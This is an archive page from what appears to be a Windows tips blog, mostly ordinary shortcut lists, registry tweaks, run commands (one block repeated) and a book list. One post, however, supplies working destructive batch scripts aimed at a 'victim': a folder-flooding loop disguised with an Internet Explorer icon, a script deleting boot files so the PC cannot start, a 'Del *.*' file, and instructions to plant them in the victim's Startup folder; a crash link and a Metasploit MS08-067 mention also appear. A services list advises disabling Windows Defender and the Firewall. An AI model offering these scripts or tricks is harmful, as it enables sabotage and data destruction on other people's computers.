Archive for the ‘Windows 7’ Category

tv-300x2241

Download the PDF cheat sheet >Caintech.co.uk Windows Shortcuts You Should All Know To Save Time

 

Windows Explorer Keyboard Shortcuts

* END (Display the bottom of the active window)

* HOME (Display the top of the active window)

* NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)

* NUM LOCK+Plus sign (+) (Display the contents of the selected folder)

* NUM LOCK+Minus sign (-) (Collapse the selected folder)

* LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)

* RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)

 

Shortcut Keys for Character Map

* After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:

* RIGHT ARROW (Move to the right or to the beginning of the next line)

* LEFT ARROW (Move to the left or to the end of the previous line)

* UP ARROW (Move up one row)

* DOWN ARROW (Move down one row)

* PAGE UP (Move up one screen at a time)

* PAGE DOWN (Move down one screen at a time)

* HOME (Move to the beginning of the line)

* END (Move to the end of the line)

* CTRL+HOME (Move to the first character)

* CTRL+END (Move to the last character)

* SPACEBAR (Switch between Enlarged and Nor mal mode when a character is selected)

 

Microsoft Management Console (MMC) Main Window Keyboard Shortcuts

* CTRL+O (Open a saved console)

* CTRL+N (Open a new console)

* CTRL+S (Save the open console)

* CTRL+M (Add or remove a console item)

* CTRL+W (Open a new window)

* F5 key (Update the content of all console windows)

* ALT+SPACEBAR (Display the MMC window menu)

* ALT+F4 (Close the console)

* ALT+A (Display the Action menu)

* ALT+V (Display the View menu)

* ALT+F (Display the File menu)

* ALT+O (Display the Favourites menu)

 

MMC Console Window Keyboard Shortcuts

* CTRL+P (Print the current page or active pane)

* ALT+Minus sign (-) (Display the window menu for the active console window)

* SHIFT+F10 (Display the Action shortcut menu for the selected item)

* F1 key (Open the Help topic, if any, for the selected item)

* F5 key (Update the content of all console windows)

* CTRL+F10 (Maximize the active console window)

* CTRL+F5 (Restore the active console window)

* ALT+ENTER (Display the Properties dialog box, if any, for the selected item)

* F2 key (Rename the selected item)

* CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)

 

Remote Desktop Connection Navigation

* CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)

* ALT+PAGE UP (Switch between programs from left to right)

* ALT+PAGE DOWN (Switch between programs from right to left)

* ALT+INSERT (Cycle through the programs in most recently used order)

* ALT+HOME (Display the Start menu)

* CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)

* ALT+DELETE (Display the Windows menu)

* CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)

* CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)

 

Internet Explorer navigation

* CTRL+B (Open the Organize Favourites dialog box)

* CTRL+E (Open the Search bar)

* CTRL+F (Start the Find utility)

* CTRL+H (Open the History bar)

* CTRL+I (Open the Favourites bar)

* CTRL+L (Open the Open dialog box)

* CTRL+N (Start another instance of the browser with the same Web address)

* CTRL+O (Open the Open dialog box, the same as CTRL+L)

* CTRL+P (Open the Print dialog box)

* CTRL+R (Update the current Web page)

* CTRL+W (Close the current window)

tv crime2

Now as you read this post you may think to yourself that you would like to try these scripts, well I will warn you again ‘Never Try These Hacks On Your Computer’. The safest way to try these is in a virtual machine, I recommend VMware player or VirtualBox, both are free for personal use.

We will be creating some batch files so you will need to ‘Show hidden files, folders and drives’ also untick the box ‘Hide extensions for known file types’

To do this type ‘folder options’ into the windows search bar  and you’ll be presented with the following dialog box.

folder options

 

 1) Crash A Computer With A Simple Link

This is a simple java script called “exploit”. This script can hang or crash your computer. This script just floods you up with the infinite number mailto:xxx windows. To prevent this you need to end the process of script before it runs out of your RAM. This can only be done by rebooting your computer before it fully utilizes your RAM.

WARNING THIS LINK WILL CRASH YOUR BROWSER OR WORSE, YOUR COMPUTER !!!!

 Click Here. (http://tiny.cc/ibJUN)

 2) Make Countless Number Of Folders With A Single Click

A simple 3 line code can be very dangerous and also quite funny. So paste the below code in notepad and save it as IE.bat

@echo off

:top

md %random%

goto top

@echo off > this command makes your screen appears blank but actually making the countless number of folders in the background

Md %random% > md %random% is a command for creating folders with random names. ( md is a command in dos for making directories)

Goto top > goto top is a command for to send the control to :top causing an infinite loop.

To make this more enticing drop the batch file on the C drive and create a shortcut on the desktop. Now right click on the shortcut and select ‘Properties’

Now select ‘Change Icon’ and browse to C:\Program Files\Internet Explorer\iexplore.exe

This has now given you an Internet Explorer icon that will execute the malicious batch file, delete the original IE icon from the desktop.

 

3) Shut Down Your PC For Ever

This is the most malicious hack, this will delete ALL system files and will stop the victims PC from booting.

To perform this copy the below text to a text file and save it as ‘Shutdown.bat’

You can always do the same as the above hack and copy it to the victims PC and send a shortcut to the desktop.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

DON’T RUN THE BATCH FILE, YOU WONT BE ABLE TO RECOVER AFTER YOU RUN IT!!!

 4) RAM Crashing Trick.

Open notepad and type the following codes

:A

Start http://www.facebook.com

Goto A

save the file as facebook.bat

 This code will infinitely loop the browser to open http://www.facebook.com

5) Delete ALL System Files With Just 6 Character Command

Copy the following command in your notepad and save it as facebook.bat

Del *.*

So when the victim runs this file all the data will be deleted.

If you have access to the victims PC you can drop any of these batch files in a folder called ‘Start up’ this will then run when the user restarts their machine.

C:\Users\VICTIMS NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

These are for educational purposes only, please do not use this information for malicious purposes. Caintech.co.uk take no responsibility for the actions of any individuals however feedback would be most appreciated.

 

tv-backtrackThis tutorial is for demonstration purposes only – Please use this knowledge responsibly

This video will show you how to create a reverse SSH connection to a server/workstation

This exploit is taking advantage of vulnerability MS08-067 using Metasploit on Kali.
This is a Kali VM attacking a Microsoft 2008 server (this will also work on any machine without the patch)

The moral of this is to update your system

http://www.kali.org

http://support.microsoft.com/kb/958644

Caintech.co.uk – Here comes Kali

Affected Software

Operating System

Microsoft Windows 2000 Service Pack 4

Windows XP Service Pack 2

Windows XP Service Pack 3

Windows XP Professional x64 Edition

Windows XP Professional x64 Edition Service Pack 2

Windows Server 2003 Service Pack 1

Windows Server 2003 Service Pack 2

Windows Server 2003 x64 Edition

Windows Server 2003 x64 Edition Service Pack 2

Windows Server 2003 with SP1 for Itanium-based Systems

Windows Server 2003 with SP2 for Itanium-based Systems

Windows Vista and Windows Vista Service Pack 1

Windows Vista x64 Edition and Windows Vista x64 Edition Service Pack 1

Windows Server 2008 for 32-bit Systems

Windows Server 2008 for x64-based Systems

Windows Server 2008 for Itanium-based Systems

win7cain

Since the release of Windows 8 I am constantly asked “Where is this function, it is in Windows 7”. Well here is a quick way to find all the functions and features of Windows 8.

First off after you have booted Windows 8 and logged in select ‘Desktop’

godmode 1

Right click on the desktop and select ‘New>Folder

godmode 2

After the folder has been created, copy the below text, rename that folder, and paste the text as the file name.

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}godmode 3

Once the above steps have been completed a new shortcut entitled GodMode will be visible. Opening this shortcut will display a Window similar to the below example.

godmode 4

Now you have all the power of the Gods.

Caintech.co.uk Please Note: Please ensure that you Back-up your Registry before attempting to modify it in anyway just in case you make a mistake. Here’s how:

  1. Depending on your version of Windows, do one of the following:
    • For Windows XP: Click Start > Run.
    • For Windows 7 or Vista: Click the Start button, and then click All Programs > Accessories > Run.
  2. In the Run dialog box, type the following text:

    regedit

  3. Click OK.

    If the User Account Control window appears, click Continue.

  4. On the File menu, click Export.
  5. In the File name box, type a name that you will remember, such as Registry Backup.
  6. Select a location where you want to save the Registration Entries (.reg) file, I suggest your desktop.
  7. Click Save.

Ok now that has been done lets get into the real technical stuff.

Changing the Default Installation Path in Windows 7 isn’t all that difficult, we all know that our Default Installation Path is C:\Program Files but if you want to change this to another Drive so that will become the Default Path for all new program Installations you can with a few clicks in the registry editor.

Ok for X64 Version User’s this simply Copy and Paste the following into the Run Box

%systemroot%\syswow64\regedit

For X32 Version User’s Go to Start and in the Search Box type in Regedit and Hit Enter to Open the Registry Editor

Now the Registry Editor will open

  • Ok now locate the following:- HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion

Now you will see that I have marked out the ProgramFilesDir for the X32 Version and ProgramW6432Dir the X64 Version and the reason for this you will need to change both if you are running a X64 Version.

So, If you have the X32 Version of Windows then choose the ProgramFileDir x86 path by Right Clicking and then Selecting Modify.

Then simply change the Drive Letter and Path to where you want to Install your Programs then Click OK

  • For X32 Version user’s, that it for you all done!

So, If you have the X64 Version of Windows then choose and Modify both ProgramFileDir x86 and ProgramW6432Dir path by Right Clicking and then Selecting Modify.

Then simply change the Drive Letter and Path to where you want to Install your Programs then Click OK

Now if you have messed it up and when you reboot your machine you get errors, a simple way to revert back to the previous version of the registry is to:

Reboot the machine  keep tapping F8 this will take you into ‘Safe Mode’

When the desktop boots double click on the .reg file you made earlier in this tutorial and when prompted with a warnig (as below) press ‘Yes’

Reboot and now you are back to how your registry was before you started (now print this tutorial out and try again)

 

Every day I hear the words “My machine is running slow, can you help” (not always that polite). But never the less the answer is always ‘Yes’.

People understand that running disk clean up and defragging their machine will help keep their machine up to speed. But one thing that users are a bit apprehensive about  (and quite rightly so) is turning off Windows services in the fear that they will break something, so here is a list of safe services to turn off and how to do it.

Disable unnecessary Windows services to free up CPU and RAM usage, speed up boot and start up time. This procedure is very easy, just follow my steps correctly.

Click start, run, and type “services.msc”. And the services window will show up.

Now you are on the services page, just double click the service you want to disable and this window will show up. (Don’t worry keep reading there is a list of services soon)

Now here is the list of Windows services that are safe to disable.

  • Application Experience
  • Block Level Backup Engine Service
  • Certificate Propagation
  • IP Helper
  • Portable Device Enumerator Service
  • Distributed Link Tracking Client
  • Protected Storage
  • Portable Device Enumerator Service
  • Secondary Logon
  • Software Protection
  • Server
  • Tablet PC Input Service
  • TCP/IP NetBIOS Helper
  • Windows Media Center Service Launcher
  • Windows Search
  • Remote Registry
  • Windows Time

Windows services that are safe to disable if…

  • Desktop Windows Manager Session Manager (if you are on a Netbook)
  • Diagnostic Policy Service (if you don’t use the troubleshooter)
  • Error Reporting Service
  • HomeGroup Listener (No Homegroup sharing)
  • HomeGroup Provider (No HomeGroup sharing)
  • Offline files
  • Print Spooler (if you don have a printer)
  • SSDP Discovery (No HomeGroup sharing)
  • Themes ( if you are on a Netbook)
  • Windows Defender (If you have an Antivirus installed)
  • Windows Firewall (Firewall installed)
  • Windows Image Acquisition (if you don’t have any imaging devices ie., camera, scanners)
  • Windows Media Player Network Sharing Services (No Homegroup sharing)

Disabling unwanted Windows services will eventually speed up your PC, prevent application crashes, frees up RAM and lowers CPU congestion.

While you are doing this if you see services you are not sure of just drop a request in the comments bellow and I’ll tell you if it is safe to disable.

 

Firefox is the latest version of Mozilla’s popular Internet browser. People using it typically update the software to get its new features. Unfortunately, this version brought us an unpleasant crash issue connected with Flash Player. More accurately, when you update Firefox 13 with Flash 11.3 on your Windows 7 computer, you may encounter the Flash 11.3 Protected Mode problem. In the instructions below you can read about how to fix this issue and prevent unpleasant Flash Player crashes.

 

Fixing Flash 11.3 Protected Mode Issue in Firefox 13 Instructions:

  1. Open “Computer / My Computer” and go to Flash folder:
    For Windows 32bit Users: C:\windows\system32\macromed\flash
    For Windows 64bit Users: C:\windows\syswow64\macromed\flash
  2. Find and open the “mms.cfg” file in a text editor.
    Note: If there is no mms.cfg file, you will need to create one.
  3. Add the following command to the file:
    ProtectedMode = 0
  4. Save the “mms.cfg” file and close it.

Microsoft Network Monitor
Microsoft Network Monitor is a network protocol analyzer that lets you capture, view, and analyze network traffic. Version 3.3 of Network Monitor is available in 32- and 64-bit versions. Download it now.

Microsoft Baseline Security Analyzer
The Microsoft Baseline Security Analyzer (MBSA) is an easy-to-use tool designed to help administrators of small and medium-sized businesses ensure that their Windows-based computers are secure. You can use MBSA to determine the security state of your computers in accordance with Microsoft security recommendations. MBSA also offers specific remedia¬tion guidance for security problems it detects, such as misconfigurations and missing security updates.
At the time of writing this, the current version was MBSA 2.1. This version is available in 32- and 64-bit versions, but it does not install on Windows 7. A new version that supports Windows 7 is due to be released sometime in the future. You can download the current version and get information regarding the a version for Windows 7 at microsoft.com/mbsa/.

Microsoft IPsec Diagnostic Tool
The Microsoft IPsec Diagnostic Tool helps network administrators troubleshoot network-related failures, focusing primarily on Internet Protocol security (IPsec).The tool checks for common network problems on the host machine and, if it finds any problems, it suggests re¬pair commands. The tool also collects IPsec policy information on the system and parses the IPsec logs to try to determine why the failure might have happened. The tool also provides trace collection for virtual private network (VPN) connections, the Network Ac¬cess Protection (NAP) client, Windows Firewall, Group Policy updates, and wireless and system events. The diagnostic report generated by the tool is derived from the system logs collected by the tool during its analysis phase. Download it now.

Windows Sysinternals Suite
The Windows Sysinternals Suite is a set of advanced tools for troubleshooting issues with Windows-based computers. These tools were originally developed by Winternals Software LP, which Microsoft acquired in 2006. Some of the useful and popular tools included in this suite are:

  • Autoruns This tool lets you see what programs are configured to start up automati¬cally when your system boots. It also displays the full list of registry and file locations where applications can configure autostart settings.
  • BgInfo This tool automatically generates desktop backgrounds that include important information about the system, including IP addresses, computer name, network adapt¬ers, and more.
  • Process Explorer This tool lets you find out what files, registry keys, and other objects that your processes have open, which dynamic-link libraries (DLLs) they have loaded, and who owns each process.
  • Process Monitor This tool lets you monitor the file system, registry, process, thread, and DLL activity on your computer in real time.
  • PsTools This set of command-line tools can be used for listing the processes running on local or remote computers, running processes remotely, rebooting computers, dumping event logs, and performing other tasks.
  • RootkitRevealer This tool lets you scan your system for rootkit-based malware.
  • ShellRunas This tool allows you to launch programs as a different user using a shell context-menu entry.
  • TCPView This tool lets you view active sockets on the computer in real time.

Download the entire Sysinternals Suite now.

Microsoft DOS is a command line user interface first introduced in 1981 for IBM computers and was last updated in 1994 when MS-DOS 6.22 was released. Although MS-DOS is not commonly used today, the command shell used through Microsoft Windows is. This post contains some most used and wanted windows Dos Commands and as any power user will tell you they are the quickest way to open programs. Also as this is quite a long list post that you may want to review later, I have created a PDF to download> Power User DOS Commands for XP Vista and Windows 7

Control Panel

  • CONTROL: opens the control panel window
  • CONTROL ADMINTOOLS: opens the administrative tools
  • CONTROL KEYBOARD: opens keyboard properties
  • CONTROL COLOUR: opens display properties. Appearance tab
  • CONTROL FOLDERS: opens folder options
  • CONTROL FONTS: opens font policy management
  • CONTROL INTERNATIONAL or INTL.CPL: opens Regional and Language option
  • CONTROL MOUSE or MAIN.CPL: opens mouse properties
  • CONTROL USERPASSWORDS: opens User Accounts editor
  • CONTROL USERPASSWORDS2 or NETPLWIZ: User account access restrictions
  • CONTROL PRINTERS: opens faxes and printers available
  • APPWIZ.CPL: opens Add or Remove programs utility tool
  • OPTIONALFEATURES: opens Add or Remove Windows component utility
  • DESK.CPL: opens display properties. Themes tab
  • HDWWIZ.CPL: opens add hardware wizard
  • IRPROPS.CPL: infrared utility tool
  • JOY.CP: opens game controllers settings
  • MMSYS.CPL: opens Sound and Audio device Properties. Volume tab
  • SYSDM.CPL: opens System properties
  • TELEPHON.CPL: Opens phone and Modem options
  • TIMEDATE.CPL: Date and Time properties
  • WSCUI.CPL: opens Windows Security Centre
  • ACCESS.CPL: opens Accessibility Options
  • WUAUCPL.CPL: opens Automatic Updates
  • POWERCFG.CPL: opens Power Options Properties
  • AZMAN.MSC: opens authorisation management utility tool
  • CERTMGR.MSC: opens certificate management tool
  • COMPMGMT.MSC: opens the Computer management tool
  • COMEXP.MSC or DCOMCNFG: opens the Computer Services management tool
  • DEVMGMT.MSC: opens Device Manager
  • EVENTVWR or EVENTVWR.MSC: opens Event Viewer
  • FSMGMT.MSC: opens Shared Folders
  • NAPCLCFG.MSC: NAP Client configuration utility tool
  • SERVICES.MSC: opens Service manager
  • TASKSCHD.MSC or CONTROL SCHEDTASKS: opens Schedule Tasks manager
  • GPEDIT.MSC: opens Group Policy utility tool
  • LUSRMGR.MSC: opens Local Users and Groups
  • SECPOL.MSC: opens local security settings
  • CIADV.MSC: opens indexing service
  • NTMSMGR.MSC: removable storage manager
  • NTMSOPRQ.MSC: removable storage operator requests
  • WMIMGMT.MSC: opens (WMI) Window Management Instrumentation
  • PERFMON or PERFMON.MSC: opens the Performance monitor
  • MMC: opens empty Console
  • MDSCHED: opens memory diagnostics tools
  • DXDIAG: opens DirectX diagnostics tools
  • ODBCAD32: opens ODBC Data source Administrator
  • REGEDIT or REGEDT32: opens Registry Editor
  • DRWTSN32: opens Dr. Watson (XP not supported in Vista or Windows 7)
  • VERIFIER: opens Driver Verifier Manager
  • CLICONFG: opens SQL Server Client Network Utility
  • UTILMAN: opens Utility Manager
  • COLORCPL: opens colour management
  • CREDWIZ: back-up and recovery tool for user passwords
  • MOBSYNC: opens Synchronization centre
  • MSCONFIG: opens System Configuration Utility
  • SYSEDIT: opens System Configuration Editor (careful while using this command)
  • SYSKEY: Windows Account Database Security management (careful while using this command)

Windows utility and applications

  • EXPLORER: Opens windows Explorer
  • IEXPLORER: Opens Internet explorer
  • WAB: opens Contacts
  • CHARMAP: opens Character Map
  • WRITE: opens WordPad
  • NOTEPAD: opens Notepad
  • CALC: opens Calculator
  • CLIPBRD: opens Clipbook Viewer
  • WINCHAT: opens Microsoft Chat Interface
  • SOUNDRECORDER: opens sound recording tool
  • DVDPLAY: run CD or DVD
  • WMPLAYER: opens Windows Media Player
  • MOVIEMK: Opens untitled Windows Movie Maker
  • OSK: opens on-screen Keyboard
  • MAGNIFY: opens Magnifier
  • WINCAL: opens Calendar
  • DIALER: opens phone Dialler
  • EUDCEDIT: opens Private Character Editor
  • NDVOL: opens the mixer volume
  • %WINDIR%\SYSTEM32\RESTORE\rstrui.exe: opens Tool System Restore (for XP only).
  • MSINFO32: Opens the System Information
  • MRT : launches the utility removal of malware.
  • Taskmgr : Opens the Windows Task Manager
  • CMD: opens a command prompt
  • MIGWIZ: Opens the tool for transferring files and settings from Windows (Windows 7/Vista only)
  • Migwiz.exe: Opens the tool for transferring files and settings from Windows (for XP only)
  • Sigverif : Opens the tool for verification of signatures of files
  • Winver : Opens the window for your Windows version
  • FSQUIRT: Bluetooth Transfer Wizard
  • IExpress opens the wizard for creating self-extracting archives. Tutorial HERE
  • MBLCTR: opens the mobility centre (Windows 7/Vista only)
  • MSRA : Opens the Windows Remote Assistance
  • Mstsc : opens the tool connection Remote Desktop
  • MSDT: opens the diagnostic tools and support Microsoft
  • WERCON: opens the reporting tool and solutions to problems (for Vista only)
  • WINDOWSANYTIMEUPGRADE: Enables the upgrade of Windows Vista
  • WINWORD : opens Word (if installed)
  • RSTRUI : opens Tool System Restore (Windows 7/Vista only)
  • PRINTBRMUI : Opens migration wizard printer (Windows 7/Vista only)

Disk management

  • DISKMGMT.MSC: opens disk management utility
  • CLEANMGR: opens disk drive clean up utility
  • DFRG.MSC: opens disk defragmenter
  • CHKDSK: complete analysis of disk partition
  • DISKPART: disk partitioning tool

Connection management

  • IPCONFIG: list the configuration of IP addresses on your PC (for more information type IPCONFIG/? in the CMD menu)
  • INETCPL.CPL: opens internet properties
  • FIREWALL.CPL: opens windows firewall
  • NETSETUP.CPL: opens network setup wizard

Miscellaneous commands

  • JAVAWS: View the cover of JAVA software (if installed)
  • AC3FILTER.CPL: Opens the properties AC3 Filter (if installed)
  • FIREFOX: Mozilla launches Firefox (if installed)
  • NETPROJ: allow or not connecting to a network projector (Windows 7/Vista only)
  • LOGOFF: closes the current session
  • SHUTDOWN: shut down Windows
  • SHUTDOWN-A: to interrupt Windows shutdown
  • %WINDIR% or %SYSTEMROOT%: opens the Windows installation
  • %PROGRAMFILES%: Opens the folder where you installed other programs (Program Files)
  • %USERPROFILE%: opens the profile of the user currently logged
  • %HOMEDRIVE%: opens the browser on the partition or the operating system is installed
  • %HOMEPATH%: opens the currently logged user C: \ Documents and Settings \ [username]
  • %TEMP%: opens the temporary folder
  • VSP1CLN: deletes the cache for installation of the service pack 1 for Vista
  • System File Checker (Requires Windows CD if the cache is not available):
    • SFC / scannow: immediately scans all system files and repairs damaged files
    • SFC / VERIFYONLY: scans only those files system
    • SFC / Scanfil = “name and file path”: scans the specified file, and repaired if damaged
    • SFC / VERIFYFILE = “name and file path”: Scans only the file specified
    • SFC / scanonce: scans the system files on the next restart
    • SFC / REVERT: return the initial configuration (For more information, type SFC /? In the command prompt CMD.

Control Panel

  • CONTROL: opens the control panel window
  • CONTROL ADMINTOOLS: opens the administrative tools
  • CONTROL KEYBOARD: opens keyboard properties
  • CONTROL COLOUR: opens display properties. Appearance tab
  • CONTROL FOLDERS: opens folder options
  • CONTROL FONTS: opens font policy management
  • CONTROL INTERNATIONAL or INTL.CPL: opens Regional and Language option
  • CONTROL MOUSE or MAIN.CPL: opens mouse properties
  • CONTROL USERPASSWORDS: opens User Accounts editor
  • CONTROL USERPASSWORDS2 or NETPLWIZ: User account access restrictions
  • CONTROL PRINTERS: opens faxes and printers available
  • APPWIZ.CPL: opens Add or Remove programs utility tool
  • OPTIONALFEATURES: opens Add or Remove Windows component utility
  • DESK.CPL: opens display properties. Themes tab
  • HDWWIZ.CPL: opens add hardware wizard
  • IRPROPS.CPL: infrared utility tool
  • JOY.CP: opens game controllers settings
  • MMSYS.CPL: opens Sound and Audio device Properties. Volume tab
  • SYSDM.CPL: opens System properties
  • TELEPHON.CPL: Opens phone and Modem options
  • TIMEDATE.CPL: Date and Time properties
  • WSCUI.CPL: opens Windows Security Centre
  • ACCESS.CPL: opens Accessibility Options
  • WUAUCPL.CPL: opens Automatic Updates
  • POWERCFG.CPL: opens Power Options Properties
  • AZMAN.MSC: opens authorisation management utility tool
  • CERTMGR.MSC: opens certificate management tool
  • COMPMGMT.MSC: opens the Computer management tool
  • COMEXP.MSC or DCOMCNFG: opens the Computer Services management tool
  • DEVMGMT.MSC: opens Device Manager
  • EVENTVWR or EVENTVWR.MSC: opens Event Viewer
  • FSMGMT.MSC: opens Shared Folders
  • NAPCLCFG.MSC: NAP Client configuration utility tool
  • SERVICES.MSC: opens Service manager
  • TASKSCHD.MSC or CONTROL SCHEDTASKS: opens Schedule Tasks manager
  • GPEDIT.MSC: opens Group Policy utility tool
  • LUSRMGR.MSC: opens Local Users and Groups
  • SECPOL.MSC: opens local security settings
  • CIADV.MSC: opens indexing service
  • NTMSMGR.MSC: removable storage manager
  • NTMSOPRQ.MSC: removable storage operator requests
  • WMIMGMT.MSC: opens (WMI) Window Management Instrumentation
  • PERFMON or PERFMON.MSC: opens the Performance monitor
  • MMC: opens empty Console
  • MDSCHED: opens memory diagnostics tools
  • DXDIAG: opens DirectX diagnostics tools
  • ODBCAD32: opens ODBC Data source Administrator
  • REGEDIT or REGEDT32: opens Registry Editor
  • DRWTSN32: opens Dr. Watson (XP not supported in Vista or Windows 7)
  • VERIFIER: opens Driver Verifier Manager
  • CLICONFG: opens SQL Server Client Network Utility
  • UTILMAN: opens Utility Manager
  • COLORCPL: opens colour management
  • CREDWIZ: back-up and recovery tool for user passwords
  • MOBSYNC: opens Synchronization centre
  • MSCONFIG: opens System Configuration Utility
  • SYSEDIT: opens System Configuration Editor (careful while using this command)
  • SYSKEY: Windows Account Database Security management (careful while using this command)

Windows utility and applications

  • EXPLORER: Opens windows Explorer
  • IEXPLORER: Opens Internet explorer
  • WAB: opens Contacts
  • CHARMAP: opens Character Map
  • WRITE: opens WordPad
  • NOTEPAD: opens Notepad
  • CALC: opens Calculator
  • CLIPBRD: opens Clipbook Viewer
  • WINCHAT: opens Microsoft Chat Interface
  • SOUNDRECORDER: opens sound recording tool
  • DVDPLAY: run CD or DVD
  • WMPLAYER: opens Windows Media Player
  • MOVIEMK: Opens untitled Windows Movie Maker
  • OSK: opens on-screen Keyboard
  • MAGNIFY: opens Magnifier
  • WINCAL: opens Calendar
  • DIALER: opens phone Dialler
  • EUDCEDIT: opens Private Character Editor
  • NDVOL: opens the mixer volume
  • %WINDIR%\SYSTEM32\RESTORE\rstrui.exe: opens Tool System Restore (for XP only).
  • MSINFO32: Opens the System Information
  • MRT : launches the utility removal of malware.
  • Taskmgr : Opens the Windows Task Manager
  • CMD: opens a command prompt
  • MIGWIZ: Opens the tool for transferring files and settings from Windows (Windows 7/Vista only)
  • Migwiz.exe: Opens the tool for transferring files and settings from Windows (for XP only)
  • Sigverif : Opens the tool for verification of signatures of files
  • Winver : Opens the window for your Windows version
  • FSQUIRT: Bluetooth Transfer Wizard
  • IExpress opens the wizard for creating self-extracting archives. Tutorial HERE
  • MBLCTR: opens the mobility centre (Windows 7/Vista only)
  • MSRA : Opens the Windows Remote Assistance
  • Mstsc : opens the tool connection Remote Desktop
  • MSDT: opens the diagnostic tools and support Microsoft
  • WERCON: opens the reporting tool and solutions to problems (for Vista only)
  • WINDOWSANYTIMEUPGRADE: Enables the upgrade of Windows Vista
  • WINWORD : opens Word (if installed)
  • RSTRUI : opens Tool System Restore (Windows 7/Vista only)
  • PRINTBRMUI : Opens migration wizard printer (Windows 7/Vista only)

Disk management

  • DISKMGMT.MSC: opens disk management utility
  • CLEANMGR: opens disk drive clean up utility
  • DFRG.MSC: opens disk defragmenter
  • CHKDSK: complete analysis of disk partition
  • DISKPART: disk partitioning tool

Connection management

  • IPCONFIG: list the configuration of IP addresses on your PC (for more information type IPCONFIG/? in the CMD menu)
  • INETCPL.CPL: opens internet properties
  • FIREWALL.CPL: opens windows firewall
  • NETSETUP.CPL: opens network setup wizard

Miscellaneous commands

  • JAVAWS: View the cover of JAVA software (if installed)
  • AC3FILTER.CPL: Opens the properties AC3 Filter (if installed)
  • FIREFOX: Mozilla launches Firefox (if installed)
  • NETPROJ: allow or not connecting to a network projector (Windows 7/Vista only)
  • LOGOFF: closes the current session
  • SHUTDOWN: shut down Windows
  • SHUTDOWN-A: to interrupt Windows shutdown
  • %WINDIR% or %SYSTEMROOT%: opens the Windows installation
  • %PROGRAMFILES%: Opens the folder where you installed other programs (Program Files)
  • %USERPROFILE%: opens the profile of the user currently logged
  • %HOMEDRIVE%: opens the browser on the partition or the operating system is installed
  • %HOMEPATH%: opens the currently logged user C: \ Documents and Settings \ [username]
  • %TEMP%: opens the temporary folder
  • VSP1CLN: deletes the cache for installation of the service pack 1 for Vista
  • System File Checker (Requires Windows CD if the cache is not available):
    • SFC / scannow: immediately scans all system files and repairs damaged files
    • SFC / VERIFYONLY: scans only those files system
    • SFC / Scanfil = “name and file path”: scans the specified file, and repaired if damaged
    • SFC / VERIFYFILE = “name and file path”: Scans only the file specified
    • SFC / scanonce: scans the system files on the next restart
    • SFC / REVERT: return the initial configuration (For more information, type SFC /? In the command prompt CMD.

 

So Christmas is creeping up on us slowly but surly again and if you are stuck on what to but for the geek in your life I have compiled a list of some of the best geek/tech books around. All of the following books can are available on the new Amazon Kindle

Windows 7 Annoyances (Page 460)
by David A. Karp
Published 2010
O’Reilly Media, Inc
ISBN: 0596157622

IT Security Management (Page 238)
by Alberto Partida, Diego Andina
Published 2010
Springer
ISBN: 9048188814

Stealing the network: the complete series collector’s edition (Page 453)
By Ryan Russell, Johnny Long, Timothy Mullen
Published 2009
Syngress
ISBN: 159749299X

Security Awareness: Applying Practical Security in Your World (Page 66)
By Mark Ciampa
Published 2009
Cengage Learning
ISBN 1435454146

Security+ Guide to Network Security Fundamentals (Page 72)
by Mark Ciampa
Published 2008
Course Technology
ISBN: 1428340661

Kismet Hacking (Page 227)
by Brad Haines and Frank Thornton
Published 2008
Syngress
ISBN:1597491179

Security Power Tools (Page 100)
by Bryan Burns, Jennifer Granick, Jennifer Stisa Granick, Steve Manzuik, Paul Guersch, Dave Killion, Nicolas Beauchesne, Eric Moret, Julien Sobrier, Michael Lynn, Eric Markham, Chris Iezzoni, Philippe Biondi
Published 2007
O’Reilly
ISBN:0596009631

Windows Vista Annoyances (Page 371)
by David A. Karp
Published 2008
O’Reilly
ISBN:0596527624

Stealing the Network: How to Own a Shadow (Page 268)
by Johnny Long, Timothy Mullen, Ryan Russell, Scott Pinzon
Published 2007
Syngress
ISBN:1597490814

Z4ck (Page 187)
by Kevin Milne
Published 2004
PageFree Publishing, Inc
ISBN:1589613120

The Art of Intrusion: The Real Stories Behind the Exploits of Hackers, Intruders and Deceivers (270 pages)
by Kevin D. Mitnick
Published 2005
Publisher: John Wiley & Sons
ISBN:0764569597